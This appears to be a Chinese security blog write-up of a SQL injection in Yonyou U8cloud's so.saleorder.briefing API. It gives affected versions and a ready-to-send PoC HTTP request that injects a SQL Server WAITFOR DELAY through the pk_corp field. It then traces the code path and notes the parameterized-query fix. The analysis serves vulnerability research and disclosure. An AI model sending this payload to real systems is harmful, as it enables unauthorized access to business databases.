用友U8cloud-so.saleorder.briefing接口SQL注入
1diot9 Lv4

影响版本

3.5,3.6,3.6sp,5.0,5.0sp,5.1,5.1sp

poc

延时1.5s

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
GET /u8cloud/openapi/so.saleorder.briefing?appcode=huo&isEncrypt=N HTTP/1.1
Host: 127.0.0.1:8051
Cache-Control: max-age=0
sec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=9D2553F1DFC1E7245CDE9BABD0CD0E65.server
If-None-Match: W/"1215-1692092838000"
If-Modified-Since: Tue, 15 Aug 2023 09:47:18 GMT
Connection: keep-alive
Content-Length: 86

{"pk_corp":"1';WAITFOR DELAY '0:0:0.5'--","cuserid":"","date_begin":"","date_end":"",}

漏洞原理

朴实无华的语句拼接

漏洞分析

路由映射分析

主要讲一下怎么分析出来路由的。

首先是看了一篇文章,知道了url是:/u8cloud/openapi/so.saleorder.briefing?appcode=huo&isEncrypt=N,也知道了漏洞类:u8c.bs.so.saleorder.action.SaleOrderBriefingAction

https://mp.weixin.qq.com/s/nwSs8mU_H-OBWTk2ZBxC9w

之后去idea全局搜索u8cloud/openapi:

img

找到了对应的servlet:nc.bs.framework.server.extsys.ExtSystemInvokerServlet

之后给漏洞类打上断点:

img

然后就能慢慢分析前面的调用栈了。

现在去找为什么so.saleorder.briefing能映射到漏洞类。看漏洞类前一个调用栈:

img

断点处,从so.saleorder.briefing找到了对应的漏洞类,于是跟进方法u8c.bs.invoke.bp.JSONInvokeBP#queryConfigVO:

img

再跟进u8c.bs.config.BillConfigFileParse#queryConfigVO:

img

发现是从/api/config里取,用everything搜索一下:

img

成功找到:

img

最后用环境搭建时的bat脚本,把所有.config文件copy到一起再添加到idea库中,方便后续直接在idea中查询:

img

请求参数分析

注意到,请求中是有get参数的:?appcode=huo&isEncrypt=N

分析一下这两个参数的作用。

具体逻辑在u8c.server.APIOpenController#forWard

首先是appcode,必须和枚举类当中的一个相等:

img

img

接下来是isEncrypt参数,具体逻辑如下:

img

会对我们的数据进行一次解密,isEncrypt代表原数据是否加密,不加密的话就会直接返回原数据。所以需要传入N。

SQL注入

都是简单的拼接,唯一要注意的就是用SQL Server的语法注入,然后由于执行三次查询,所以延时注入的时间会变成3倍:

img

漏洞修复

用了参数化查询,做了预编译:

img

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 52.9k 访客数 访问量